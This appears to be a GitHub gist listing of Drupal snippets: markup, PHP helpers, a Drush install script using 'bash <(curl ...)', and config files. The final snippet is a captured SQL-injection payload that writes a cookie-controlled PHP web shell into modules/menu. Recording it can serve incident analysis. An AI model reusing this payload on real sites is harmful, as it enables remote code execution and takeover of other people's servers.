This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html vocab="http://schema.org/"> | |
<head> | |
<meta resource="http://my-company.com/" typeof="Organization" /> | |
<meta resource="http://my-company.com/" property="name" content="my company name" /> | |
<meta resource="http://my-company.com/" property="telephone" content="0000-0000" /> | |
<link about="http://my-company.com/" property="address" href="http://my-company.com/#address" /> | |
<meta resource="http://my-company.com/#address" typeof="PostalAddress" /> | |
<meta resource="http://my-company.com/#address" property="streetAddress" content="38 avenue de l'Opera" /> | |
<meta resource="http://my-company.com/#address" property="postalCode" content="98052" /> | |
<meta resource="http://my-company.com/#address" property="addressLocality" content="Seattle" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Lorem ipsum dolor sit amet, consectetur adipisicing elit. | |
<code> | |
* storage="username" | |
</code> | |
Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function generate_fields() { | |
$field_name = 'field_gen_'; | |
$field_type = 'text'; | |
$field_formatter = 'text_default'; | |
$number = 100; | |
for ($i = 1; $i <= $number; ++$i) { | |
echo("creating field $i \n"); | |
entity_create('field_entity', array( | |
'name' => $field_name . $i, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Install Drush 7 from https://github.com/drush-ops/drush.git | |
# and creates a 'drush7' alias. Execute this from your terminal: | |
# bash <(curl -s https://gist.github.com/scor/7843568/raw/install-drush7.sh) | |
if [[ ! -e '~/tools/drush7' ]]; then | |
mkdir -p ~/tools | |
cd ~/tools |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Turn off all options we don't need. | |
Options None | |
Options +FollowSymLinks | |
# Set the catch-all handler to prevent scripts from being executed. | |
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006 | |
<Files *> | |
# Override the handler again if we're run later in the evaluation list. | |
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003 | |
</Files> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Lists bundles that have a field of type image or file for D7.29 regression | |
* https://www.drupal.org/node/2305017 | |
* | |
* Download this script on your server/localhost and run | |
* drush php-script 2305017_file_lost.php | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Example MySQL config file for large systems. | |
# | |
# This is for a large system with memory = 512M where the system runs mainly | |
# MySQL. | |
# | |
# MySQL programs look for option files in a set of | |
# locations which depend on the deployment platform. | |
# You can copy this option file to one of those | |
# locations. For information about these locations, see: | |
# http://dev.mysql.com/doc/mysql/en/option-files.html |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## RDFa markup | |
<ol vocab="http://schema.org/" typeof="ItemList"> | |
<li property="itemListElement" typeof="ListItem"> | |
<a property="item" typeof="WebPage" href="http://www.example.com/dresses"> | |
<span property="title">Dresses</span> | |
</a> | |
<meta property="position" content="1"> | |
</li> | |
› <li property="itemListElement" typeof="ListItem"> | |
<a property="item" typeof="WebPage" href="http://www.example.com/dresses/real"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Local development override configuration feature. | |
* | |
* To activate this feature, copy and rename it such that its path plus | |
* filename is 'sites/yoursite.com/settings.local.php'. Then, go to the bottom | |
* of 'sites/yoursite.com/settings.php' and uncomment the commented lines that | |
* mention 'settings.local.php'. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[0] => 0; INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES ('jihkzk', '', '', 'jihkzk', 'file_put_contents', 0x613a323a7b693a303b733a32313a226d6f64756c65732f6d656e752f687a6c702e706870223b693a313b733a3134373a223c3f7068702024666f726d313d40245f434f4f4b49455b224b63716633225d3b206966202824666f726d31297b20246f70743d24666f726d312840245f434f4f4b49455b224b63716632225d293b202461753d24666f726d312840245f434f4f4b49455b224b63716631225d293b20246f707428222f3239322f65222c2461752c323932293b207d20706870696e666f28293b223b7d);;# |
OlderNewer